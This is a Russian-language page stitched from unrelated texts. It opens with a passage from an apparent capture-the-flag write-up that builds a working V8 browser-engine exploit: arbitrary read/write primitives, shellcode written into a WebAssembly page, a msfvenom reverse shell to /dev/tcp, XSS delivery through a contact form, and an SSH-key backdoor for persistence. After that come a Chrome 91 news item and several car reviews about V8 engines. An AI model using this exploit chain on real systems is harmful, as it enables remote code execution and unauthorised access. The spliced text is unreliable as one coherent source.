WebAssembly (сок­ращен­но wasm) — безопас­ный и эффектив­ный низ­коуров­невый бинар­ный фор­мат для веба. Сте­ковая вир­туаль­ная машина, исполня­ющая инс­трук­ции бинар­ного фор­мата wasm, может быть запуще­на как в сре­де бра­узе­ра, так и в сер­верной сре­де. Код на wasm — перено­симое абс­трак­тное син­такси­чес­кое дерево, что обес­печива­ет как более быс­трый ана­лиз, так и более эффектив­ное выпол­нение в срав­нении с JavaScript.

Соб­рав экс­пло­ит с уче­том всех опи­сан­ных изме­нений, я вновь получил Segmentation fault.

Об­ласть rwx в текущих реали­заци­ях движ­ка всег­да находит­ся на оди­нако­вом сме­щении от объ­екта WasmInstanceObject. В вер­сии 7.5.0 оно рав­нялось 0x87. Будем выяс­нять, каково оно в 8.5.0. Для это­го соз­дадим прос­той скрипт wasm.js с объ­ектом wasmInstance и запус­тим его под отладчи­ком:

var code_bytes = new Uint8Array([

0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,

0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,

0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,

0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);

const wasmModule = new WebAssembly.Module(code_bytes.buffer);

const wasmInstance =

new WebAssembly.Instance(wasmModule, {});

const { addTwo } = wasmInstance.exports;

console.log(addTwo(5, 6));

%DebugPrint(wasmInstance);

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--

По­лучи­ли адрес WasmInstanceObject: 0x2f1108250375. Теперь най­дем в спис­ке про­цес­сов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его кар­те памяти области rwx:

artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0

Ура, есть такая! Мы получи­ли адрес rwx: 0xb444a6ea000. Оста­лось най­ти адрес ука­зате­ля на эту область, для это­го в pwndbg вос­поль­зуем­ся сле­дующей коман­дой:

pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000

Ука­затель рас­положен по адре­су 0x2f11082503dc. Оста­лось рас­счи­тать сме­щение:

python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68

За­меним его в скрип­те. Но есть еще один ука­затель, сме­щение которо­го поменя­лось, это backing_store.

Что­бы его най­ти, опять запус­тим дебаг‑релиз V8 под отладчи­ком:

artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--

Ви­дим зна­чение backing_store: 0x5555556f2e80. Вычис­лим сме­щение (я выделил его крас­ным), не забыва­ем о little endian.

Сме­щение backing_store

Итак, сме­щение рав­но 0x14.

По­хоже, на этом все, мож­но про­бовать! Готовим наш тес­товый пей­лоад с помощью ути­литы msfvenom. Все, что он дела­ет, — выводит стро­ку «PWNED!».

msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005

А вот и финаль­ный код экс­пло­ита с ком­мента­риями:

// Вспомогательные функции конвертации между float и Integer

var buf = new ArrayBuffer(8); // 8 byte array buffer

var f64_buf = new Float64Array(buf);

var u64_buf = new Uint32Array(buf);

function ftoi(val) {

f64_buf[0]=val;

return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

}

function itof(val) { // typeof(val) = BigInt

u64_buf[0] = Number(val & 0xffffffffn);

u64_buf[1] = Number(val >> 32n);

return f64_buf[0];

}

// Создаем addrof-примитив

var obj = {"A":1};

var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)

obj_arr.length = 1; // Указываем принудительно размер массива = 1

var float_arr = [1.1, 1.2];

// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map

var obj_arr_map = obj_arr.GetLastElement();

var float_arr_map = float_arr.GetLastElement();

function addrof(in_obj) {

// Помещаем объект, адрес которого нам нужен, в index 0

obj_arr[0] = in_obj;

// Заменяем карту массива obj картой массива float

obj_arr.SetLastElement(float_arr_map);

// Получаем адрес, обращаясь к index 0

let addr = obj_arr[0];

// Заменяем карту обратно на obj

obj_arr.SetLastElement(obj_arr_map);

// Возвращаем адрес в формате BigInt

return ftoi(addr);

}

function fakeobj(addr) {

// Конвертируем адрес во float и помещаем его в нулевой элемент массива float

float_arr[0] = itof(addr);

// Меняем карту float на карту массива obj

float_arr.SetLastElement(obj_arr_map);

// Получаем объект "fake", на который указывает адрес

let fake = float_arr[0];

// Меняем карту обратно на float

float_arr.SetLastElement(float_arr_map);

// Возвращаем полученный объект

return fake;

}

// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них

var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];

console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {

// Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес

if (addr % 2n == 0)

addr += 1n;

// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr

let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20

// Изменяем указатель elements arb_rw_arr на read_addr-0x08

// По адресу первого элемента массива float находится 2-й индекс obj_map,

// указывающий на элементы объекта fake

arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);

// Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,

// и возвращаем его в формате float

return ftoi(fake[0]);

}

function arb_write(addr, val) {

// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr

let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20

// Изменяем указатель на элементы arb_rw_arr на write_addr-0x08

// По адресу первого элемента массива float находится 2-й индекс obj_map,

// указывающий на элементы объекта fake

arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //

// Записываем значение в нулевой элемент в формате float,

fake[0] = itof(BigInt(val));

}

// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,

3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,

128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,

0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasm_mod = new WebAssembly.Module(wasm_code);

var wasm_instance = new WebAssembly.Instance(wasm_mod);

var exploit = wasm_instance.exports.main;

// Получаем адрес wasm_instance

var wasm_instance_addr = addrof(wasm_instance);

console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));

var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68

function copy_shellcode(addr, shellcode) {

let buf = new ArrayBuffer(0x100);

let dataview = new DataView(buf);

let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer

let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14

arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr

// Пишем шелл по адресу backing_store_addr

for (let i = 0; i < shellcode.length; i++) {

dataview.setUint32(4*i, shellcode[i], true);

}

}

console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));

// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'

var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,

0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,

0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);

// Пишем реверс-шелл по адресу rwx_page

copy_shellcode(rwx_page_addr, shellcode);

// Вызываем wasm_instance c нашим реверс-шеллом

exploit();

За­пус­каем наш тес­товый экс­пло­ит:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!

Ра­бота­ет!

Ос­тался пос­ледний шаг — разоб­рать­ся, как его запус­тить на уда­лен­ной машине.

Единс­твен­ный инте­рак­тивный эле­мент на сай­те — это фор­ма обратной свя­зи по адре­су http://rope2.htb:8000/contact. Так как V8 — это дви­жок JS, оче­вид­но, что надо как‑то скор­мить ему наш JavaScript. Запус­каем сер­вер HTTP: python -m http.server 8070 — и вво­дим во все поля фор­мы

<script src="http://10.10.xx.xx:8070/v8.js"></script>

И получа­ем зап­рос от сер­вера! Пос­ле недол­гих экспе­римен­тов я выяс­нил, что запуск скрип­та триг­герит поле Message.

Про­веря­ем XSS

Те­перь дело за малым. Генери­руем боевой пей­лоад с реверс‑шел­лом и встав­ляем его в наш скрипт.

msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'

Кла­дем скрипт в пап­ку, из которой запущен наш веб‑сер­вер, запус­каем netcat (nc -lnvp 7090) и отправ­ляем фор­му с зап­росом скрип­та в поле Message.

На­конец‑то дол­гождан­ный шелл!

По­луча­ем шелл

Что­бы авто­мати­зиро­вать про­цесс, я написал пару строк на bash — получив­ший­ся файл нуж­но положить в ту же пап­ку, где лежит скрипт.

python -m http.server 8070 &

curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &

nc -lnvp 7090

Прав­да, сес­сия живет не боль­ше минуты — видимо, на сер­вере сра­баты­вает тайм‑аут. Что­бы сде­лать себе ста­биль­ный шелл, нуж­но добавить поль­зовате­лю chromeuser свой ключ SSH:

mkdir /home/chromeuser/.ssh

echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys

На­деюсь, было инте­рес­но и ты узнал для себя мно­го нового!

Google почти на четверть повысила производительность Chrome за счёт обновлённого движка JavaScript

На этой неделе Google выпустила Chrome 91, очередную версию своего фирменного браузера, который получил несколько новых функций и улучшений. Помимо прочего, разработчики обновили движок JavaScript V8, благодаря чему производительность браузера увеличилась на 23 %.

Изображение: Getty Images

Добиться этого удалось благодаря интеграции нового JS-компилятора Sparkplug, который обеспечил значительный прирост производительности. Сам же JavaScript-движок V8 играет важнейшую роль в браузере, поскольку используется при обработке подавляющего большинства веб-страниц.

«Важным компонентом быстрого браузера является быстрое выполнение JavaScript. В Chrome эту работу выполняет движок V8», — написал в блоге менеджер по продукту Chrome Томас Наттестад (Thomas Nattestad). Он также добавил, что с запуском нового компилятора Chrome 91 стал почти на четверть быстрее, благодаря чему обозреватель суммарно каждый день сохраняет более 17 лет жизни пользовательских процессоров.

Разработчики достаточно подробно описали работу компилятора Sparkplug, отметив, что он повышает производительность обозревателя за счёт того, что полагается на компиляцию, проделанную интерпретатором Ignition. Разработчики называют Sparkplug «неоптимизирующим компилятором JavaScript». «Во-первых, он обманывает; функции, которые он компилирует, уже скомпилированы в байт-код, а компилятор байт-кода уже проделал большую часть тяжёлой работы <…> Sparkplug компилирует из байт-кода, а не из исходного кода JavaScript», — говорится в сообщении разработчиков.  

Для пользователей Chrome озвученные нововведения означают существенный прирост производительности, за счёт чего взаимодействовать с браузером станет более комфортно. Кроме того, использовать эти преимущества смогут разработчики других браузеров на базе Chromium.

Если вы заметили ошибку — выделите ее мышью и нажмите CTRL+ENTER.

Самый мощный двигатель NA V8 в серийных автомобилях

Никогда прежде Corvette Z06 не был таким хорошим.

Наконец-то пришло время познакомиться с новым Chevrolet Corvette Z06 2023 года — момент, которого мы ждали с тех пор, как было представлено новое поколение C8. Этот новый Z06 отличается не только огромной мощностью, но и ярким внешним видом.

Новый C8 Z06 оснащен совершенно новым 5,5-литровым двигателем LT6, который является самым мощным безнаддувным двигателем V8 среди всех серийных автомобилей.Сколько власти нужно, чтобы удержать этот титул? 670 лошадиных сил и 460 фунт-фут крутящего момента. Этой мощности достаточно для разгона от 0 до 100 км / ч всего за 2,6 секунды. Другие особенности трансмиссии включают плоский коленчатый вал, который позволяет двигателю разгоняться до 8600 об / мин, новый активный впускной коллектор, новую шестиступенчатую систему смазки с сухим картером и многое другое. Chevrolet действительно произвел фурор с новым LT6. Что касается трансмиссии, этот двигатель соединен с восьмиступенчатой ​​коробкой передач с двойным сцеплением с «коротким» 5.Передаточное число главной передачи 56.

Chevrolet отмечает, что новый Corvette Z06 не только мощный, но и самый гусеничный «Vette» за всю историю. Готовность нового Z06 к треку придает сочетание аэродинамических компонентов и механических усовершенствований. Его экстерьер отличается более широкими крыльями, которые уступают место передним колесам 20 x 10 дюймов с шинами 275 / 30ZR20 и задним колесам 21 x 13 дюймов с шинами 345 / 25ZR21. Что касается выбора шин, то это шины Michelin® Pilot Sport 4S ZP в стандартной комплектации, а шины Sport Cup 2 R ZP поставляются с доступным пакетом Z07.Также улучшают аэродинамику передний сплиттер и задний спойлер, на которых есть устанавливаемая «плетенка». Что такое плетеный клюв? Это небольшой выступ на краю спойлера, который, по словам Chevrolet, увеличивает прижимную силу на 365 фунтов на скорости 186 миль в час.

Гоночный автомобиль — это больше, чем просто механические компоненты, поэтому новый Corvette Z06 2023 года оснащен технологиями, предназначенными для гоночных треков. Управление системами с электронным управлением осуществляется с помощью переключателя режимов движения. Как и на стандартном C8 Corvette Stingray, переключатель режимов движения Z06 может регулировать Launch Control, Active Handling, Traction Control, Performance Traction Management и электронный дифференциал повышенного трения.Для тех, кто хочет немного большей производительности на треке, Chevrolet предлагает пакет производительности Z07. В этот пакет входят следующие особенности: аэро-пакет из углеродного волокна (увеличенный передний сплиттер, плоскость пикирования переднего угла, заднее крыло и распорки днища), подвеска FE7 с «особыми» калибровками Magnetic Ride Control 4.0, шины Michelin Sport Cup 2 R ZP, и доступные колеса из углеродного волокна.

Водитель и пассажир нового 2023 Z06 могут насладиться прекрасным интерьером, который стал еще более роскошным, чем раньше.Chevrolet отмечает, что уникальные особенности кабины Z06 включают опциональное рулевое колесо с углеродным волокном, подрулевые переключатели, новый пакет отделки салона из углеродного волокна уровня 2 и новый интерьер Adrenaline Red.

При настройке нового Chevrolet Corvette Z06 2023 года есть множество вариантов на выбор. Они включают в себя двенадцать цветов кузова, семь пакетов колес, вторые цвета интерьера, три варианта сидений, шесть вариантов ремня безопасности, два пакета отделки салона из углеродного волокна (не включая отделку Stealth Aluminium) и шесть цветов тормозных суппортов.

Производство нового Corvette Z06 2023 года начнется летом 2022 года.

Источник: Chevrolet

2022 Mercedes-AMG SL дебютирует с тканевой крышей, полным приводом и двигателем V8

SL, одна из самых долгоживущих в портфолио Mercedes, существует уже почти 70 лет. Модель поколения R232 наконец-то здесь, и она представляет собой большой отход от своего стареющего предшественника, поскольку в основном все изменилось.Новый Sport Leicht переосмысливает формулу родстера 2022 года: от платформы и дизайна до технологий и шикарного интерьера.

Являясь также заменой родстера GT, новый SL больше не является моделью марки Benz, поскольку будет продаваться исключительно как AMG. Стиль соответствует последнему языку дизайна трехконечной звезды с более острым внешним видом с угрожающей решеткой Panamericana с вертикальными планками, окруженными угловатыми фарами, похожими на фары CLS.

114 Фото

Гладкий боковой профиль оснащен выдвигающимися электронными дверными ручками, как на последнем S-классе, и, переключившись с металлического верха на трехслойную тканевую крышу, инженеры снизили вес примерно на 21 килограмм (46 фунтов).Он может похвастаться задним стеклом с подогревом, а верхнюю часть можно сложить или поднять за 15 секунд на скорости до 31 мили в час (50 км / ч). Значительное облегчение крыши привело к снижению центра тяжести, что должно улучшить управляемость.

Сзади: четыре выхлопа по бокам диффузора указывают на то, что мы имеем дело с высокопроизводительной моделью AMG. Широкие задние фонари придают дерриеру внушительный вид, а активный задний спойлер аккуратно интегрирован в заднюю дверь и имеет не менее шести настроек.Что касается аэродинамики, Mercedes будет продавать новый SL с опциональным аэродинамическим пакетом с более мощными элементами для обоих бамперов, активной аэродинамикой в ​​передней части днища и более толстым задним диффузором.

Показанный в июле салон с кожаной подкладкой и новейшей информационно-развлекательной системой MBUX с большим дисплеем с портретной ориентацией. Сенсорный экран размером 11,9 дюйма наклоняется вперед ((наклон от 12 ° до 32 °) для удобства использования и дополняется 12,3-дюймовым полностью цифровым приборным щитом, а также проекционным дисплеем с технологией дополненной реальности.

Как и следовало ожидать от элитного кабриолета Mercedes, система обогрева шеи Airscarf с вентиляционными отверстиями в передних подголовниках входит в стандартную комплектацию нового SL. Он будет предлагаться с рулевым колесом AMG Performance и выбором между стандартными электрически регулируемыми спортивными сиденьями AMG или опциональными сиденьями AMG Performance.

Обновленный SL будет доступен в вариантах SL 55 и SL 63, причем оба будут оснащены 4,0-литровым двигателем V8 с двойным турбонаддувом.Базовая модель предлагает 469 л.

Впервые SL доступен с полным приводом, а именно с установкой 4Matic + с регулируемым распределением крутящего момента и электромеханически управляемой муфтой, связывающей заднюю ось с постоянным приводом с передними колесами. Мощность двигателя направляется на дорогу через девятиступенчатую автоматическую коробку передач, оснащенную функцией контроля запуска.

Опционально для SL 55 и входит в базовую комплектацию SL 63. Задний дифференциал повышенного трения с электронным управлением увеличивает тягу и устойчивость конкурента BMW 8 серии Кабриолет во время скоростных поворотов. Родстер также выигрывает от рулевого управления задними колесами, чтобы уменьшить радиус поворота и улучшить управляемость.

Mercedes-AMG пока не говорит о ценах и доступности, но мы ожидаем, что новый SL появится в 2022 модельном году.

Вот почему плоский кривошипный двигатель V8 Chevrolet Corvette Z06 2023 года имеет большое значение.

Компания Chevrolet сделала двигатель Corvette меньше, чтобы сделать спортивный автомобиль лучше.

Chevrolet Corvette Z06 2023 года (Chevrolet)

В Corvette Z06 2023 года 6,2-литровый V8 Corvette Stingray заменен на 5,5-литровый V8, более мощный, даже без наддува или турбонаддува.

Chevrolet Corvette Z06 2023 года оснащен 5,5-литровым двигателем LT6, самым мощным атмосферным двигателем V-8, представленным на рынке.

Это потому, что он имеет плоскую конструкцию кривошипа, которая обычно ассоциируется с гоночными автомобилями или суперкарами с высочайшими характеристиками, которыми стремится быть Z06.

Но что такое кривошип с плоской поверхностью?

Все дело в том, как поршни крепятся к коленвалу. Типичный V8 использует кривошип с поперечной плоскостью, который имеет шейки, с которыми соединены шатуны, под углом 90 градусов друг к другу, как знак плюс, в то время как кривошип с плоской плоскостью помещает их под углом 180 градусов. Вы можете увидеть разницу ниже.

Коленчатый вал с поперечным сечением имеет шейки, разнесенные на 90 градусов. (iStock)

Коленчатый вал Corvette Z06 имеет плоскую компоновку.(Chevrolet)

По словам главного инженера Corvette Джоша Холдера, конфигурация с поперечным расположением плоскости требует такого порядка зажигания, при котором два цилиндра с одной стороны работают последовательно в течение цикла и дышат через один и тот же воздухозаборник, что создает неоптимальный воздушный поток.

При плоском кривошипе порядок зажигания всегда чередуется из стороны в сторону, что позволяет поршням втягивать воздух с меньшим сопротивлением, а двигатель вращается быстрее, чтобы производить больше мощности.

Corvette Stingray’s 6.2L Small Block V-8 называется LT2. (Chevrolet)

Для сравнения: V8 Stingray развивает 495 л.с. при 6450 об / мин и имеет ограниченную границу 6500 об / мин, а Z06 — 670 л.с. при 8400 об / мин и достигает максимума при 8600 об / мин, что дает ему пронзительный визг. экзотика.

Chevrolet называет Corvette Z06 5.5L V8 LT6.

Проблема в том, что плоская конструкция кривошипа менее естественно сбалансирована, поэтому двигатели имеют тенденцию к большей вибрации, требуя дорогостоящих деталей для уменьшения эффекта.

«Чтобы сдерживать силы вибрации и сотрясения в плоском кривошипе, вам нужно сделать возвратно-поступательную массу как можно более легкой», — пояснил Холдер.

«Для этого на этом конкретном двигателе у нас есть кованый титановый шатун, который слишком дорого обходится в больших объемах».

В отличие от двухклапанного двигателя V8 с толкателем в Stingray, двигатель Z06 оснащен двумя верхними распределительными валами с четырьмя клапанами на цилиндр — это только второй раз в двигателе Corvette.Более квадратная конструкция с коротким ходом максимизирует площадь отверстий для клапанов при одновременном снижении скорости поршня, что позволяет работать на высоких оборотах при изменении фаз газораспределения и непосредственном впрыске топлива, что дополнительно оптимизирует его работу.

В гоночном автомобиле C8.R на базе Chevrolet Corvette также используется 5,5-литровый двигатель V8 с плоским кривошипом. (Chevrolet)

Он все еще не такой плавный и тихий, как V8 с поперечным рычагом, но Холдер сказал, что это противоположно тому, что клиент хочет от «интуитивного» автомобиля, такого как Z06, который призван вызвать ощущение вождения Chevrolet. Корвет C8.Гоночный автомобиль R с таким же размером и типом двигателя.

На самом деле они настолько похожи, что два двигателя имеют несколько общих частей, и Z06 V8 нужно собирать вручную, как гоночный двигатель.

В результате получился самый мощный атмосферный двигатель V8, когда-либо производившийся в серийных автомобилях, и этот двигатель будет относительно выгодной сделкой, когда он поступит в продажу следующим летом.

НАЖМИТЕ ЗДЕСЬ, ЧТОБЫ ПОЛУЧИТЬ ПРИЛОЖЕНИЕ FOX NEWS

Цены не были объявлены, но владелец сказал, что клиенты могут ожидать аналогичного шага от Stingray к Z06 в качестве последнего поколения, что может означать цену ниже

долларов за автомобиль, который может разгоняться от 0 до 100 км / ч за 2 секунды.6 секунд и пойте фальцетом.

2023 Chevrolet Corvette Z06 заправляет легенду радикальным V8

Послушайте двигатель Corvette Z06 2023 года выпуска

Тревор Томпкинс из компании Chevrolet Communications запускает новый 670-сильный самолет V8 2023 Chevy Corvette Z06 в техническом центре GM в Уоррене. .

Манди Райт, Detroit Free Press

Если переход General Motors к электромобилям положит конец легендарному малоблочному двигателю Chevy V8, двигатель, который приводил в движение многие из его величайших автомобилей, грохочет с ревом и рекордом: Самый мощный атмосферный двигатель V8 из всех серийных автомобилей — Corvette Z06 2023 года.

670-сильный 5,5-литровый двигатель V8 ожил на прошлой неделе в высокозащищенном дизайн-куполе GM, вызвав призраков восьмидесятилетнего дизайна и инженерной мысли.

Радикально переработанный Z06 имеет множество других изменений — многие из них, например, V8, возникли в результате развития гоночного автомобиля Corvette C8.R, который выиграл чемпионат в первый год соревнований и стал лидером во второй.

«Гонки — это причина, по которой Z06 был разработан в 1963 году», — сказал исполнительный инженер Corvette Тэдж Юхтер.«Мы протестировали Z06 на лучших трассах мира, от Американской автодрома в США до Нюрбургринга в Германии».

Интерьер также получил множество обновлений, включая дисплеи, ориентированные на производительность, отделку из углеродного волокна с едва различимыми красными акцентами и хриплый «красный ближний свет».

Chevrolet Corvette Z06 2023 года будет запущен в производство следующим летом в Боулинг-Грин, штат Кентукки. Он будет доступен как в кузове купе, так и в версии с откидным верхом. Цены и экономия топлива будут объявлены ближе к началу продаж.

Corvette Z06 на протяжении многих лет

C2 (1963): 5,4-литровый двигатель V8, 360 лошадиных сил, 4-ступенчатая механическая коробка передач

C5 (2001-04): 5.7-литровый V8, 385 л.с. (2001) и 405 л. скорость автомат

C8: V8 5,5 л, 670 л.с., 8-ступенчатая автоматическая коробка передач с двойным сцеплением

Когда десятые доли секунды трудно найти

Ключевые слова «висцеральный», «срочный» и «скальпель» были ключевыми словами, когда Команда ‘Vette начала работу над Z06 в 2019 году.

Кузов был расширен, чтобы обеспечить более широкую посадку на 3,6 дюйма, обусловленную массивными задними шинами 345-й серии и более крупными боковыми вентиляционными отверстиями для охлаждения.

Четыре «полосы» длиной 5 футов на днище кузова направляют воздух из-под автомобиля, чтобы снизить давление воздуха и улучшить устойчивость на дороге.

«Реакция рулевого управления находится в другой вселенной» из-за больших шин и легких колес, — сказал Юхтер. Инженеры перенастроили рулевое управление, подвеску и восьмиступенчатую автоматическую коробку передач Vette с двойным сцеплением для большей мощности и более высоких скоростей, но основные компоненты, включая адаптивную подвеску MR, являются общими для Corvette Stingray.

Гоночные особенности, доступные на Z06, включают:

  • Стойка на 3,6 дюйма шире, чем у Corvette Stingray
  • Колоссальные 734 фунта аэродинамической прижимной силы для надежной посадки автомобиля на трассе вместо риска взлета на максимальной скорости — 186 миль в час
  • Стандартные 20-дюймовые передние и 21-дюймовые задние алюминиевые колеса
  • Дополнительные колеса из углеродного волокна, снижающие вес на 41 фунт
  • Дополнительные углеродно-керамические тормоза Brembo с передним и задним роторами диаметром 15,7 / 15,4 дюйма соответственно

Решетка радиатора Z06, передние крылья и панель являются новыми, чтобы обеспечить больший воздушный поток для охлаждения и улучшения аэродинамики.Задняя панель и углы также новые, включая измененные задние фонари. Капот и фары общие с Stingray.

Однако двигатель новый с нуля. Разрабатываемая более пяти лет, она имеет 32 клапана и два верхних распредвала, что является новинкой в ​​области малых блоков. Система впрыска под высоким давлением точно такая же, как и в гоночных автомобилях Corvette C8.R на трассах от Дайтоны до Ле-Манса. Инженеры также позаимствовали некоторые хитрости у двигателя Indy Car Chevy, в том числе переместили топливную рампу к выпускной стороне, чтобы освободить место для более крупных впускных клапанов.

В результате улучшенный воздушный поток помог невероятно мощному двигателю соответствовать стандартам выбросов.

Максимальная скорость 186 миль / ч. Время разгона до 100 км / ч упало до 2,6 секунды, что примерно на 0,2-0,3 секунды быстрее, чем у Stingray.

Это было неожиданно, сказал Юхтер. «Довольно сложно найти десятые доли секунды, когда их всего несколько».

Цель всех улучшений заключалась в том, чтобы позволить Z06 показывать самое быстрое время круга в течение всего дня с меньшим падением от тепла и других факторов, чем предыдущие модели.

Z06: секретный проект Зоры

Corvette Z06 относится к ранним дням создания спортивного автомобиля, когда легендарный главный инженер Зора Аркус-Дунтов хотел «Ветте», на котором он мог бы участвовать в гонках и побеждать на треке. Название относится к специальному пакету функций, созданному для этого в 1963 году: Zora Option 6 или Zora 06. Так появился Z06 (произносится «Zee Oh Six», но пишется с нуля, а не с буквы O).

Название модели даже не было в книге заказов. Это был секретный набор функций, собранных Зорой, заядлой и опытной гонщицей.

Знающие покупатели могут запросить его, чтобы получить готовый трек Vette. Chevy официально не признавал существование Z06, возможно, потому, что GM ненадолго отказался от автоспорта в 1963 году.

В оригинальный комплект Z06 1963 года входили:

  • Жесткая подвеска
  • Тормоза для тяжелых условий эксплуатации
  • Более толстый передний стабилизатор поперечной устойчивости
  • A 36 галлонов топливный бак для уменьшения количества пит-стопов в более длительных гонках
  • 5,4-литровый двигатель с впрыском топлива (327 кубических дюймов) V8
  • Четырехступенчатая механическая коробка передач с близким передаточным числом требовалась с пакетом

5.5L V8 — первый малоблочный двигатель с плоским коленчатым валом — имеет характерную резкую выхлопную ноту, которая раньше была уделом таких экзотических автомобилей, как McLaren и Ferrari. Плоский коленчатый вал, не влезающий слишком глубоко в сорняки, снижает вес двигателя и улучшает воздушный поток. Это приводит к большей мощности. Конструкция также приводит к большей вибрации двигателя, чем двигатели с обычными противовесными коленчатыми валами, и отличительным звуком выхлопа, сильно отличающимся от традиционных Detroit V8. Он разгоняется до 8600 об / мин быстро, как икота.

Z06 будут, пока есть корветы, то есть пока есть шевроле. Когда-нибудь у них будет электроэнергия, и, возможно, даже быстрее, чем в 2023 году, в 0–60 раз, но они никогда не смогут превзойти внутреннюю привлекательность плоского маленького блока объемом 5,5 л.

2023 Chevrolet Corvette Z06: краткий обзор

Двухместное купе со средним двигателем или кабриолет

Цена: TBA

В продаже: Осень 2022 года

Задний привод

В продаже с декабря 2021 года Двигатель

5.Плоскостопный кривошип 5L DOHC V8

Мощность: 670 л.с. при 8400 об / мин; 460 фунт-футов крутящего момента при 6300 об / мин

Трансмиссия: Восьмиступенчатая автоматическая коробка передач с двойным сцеплением

Расчетный рейтинг экономии топлива EPA: TBA

Колесная база: 107,2 дюйма

Длина: 184,6 дюйма стандартная ; 185,9 с эффектом грунта из углеродного волокна

Ширина: 79,7 дюйма

Высота: 48,6

Сухой вес: 3434 фунта с колесами из углеродного волокна и пакетом Z07

Объем груза: 12.6 кубических футов

Собран в Боулинг-Грин, Кентукки

Chevrolet представляет Corvette Z06 2023 года и его совершенно новый двигатель V8

Когда Corvette восьмого поколения дебютировал как среднемоторный суперкар, он привлек много внимания . Наш тест-драйв доказал, что ажиотаж оправдан. Теперь у Chevy есть совершенно новая версия «американского суперкара» «Vette» в легендарной гоночной версии Z06.

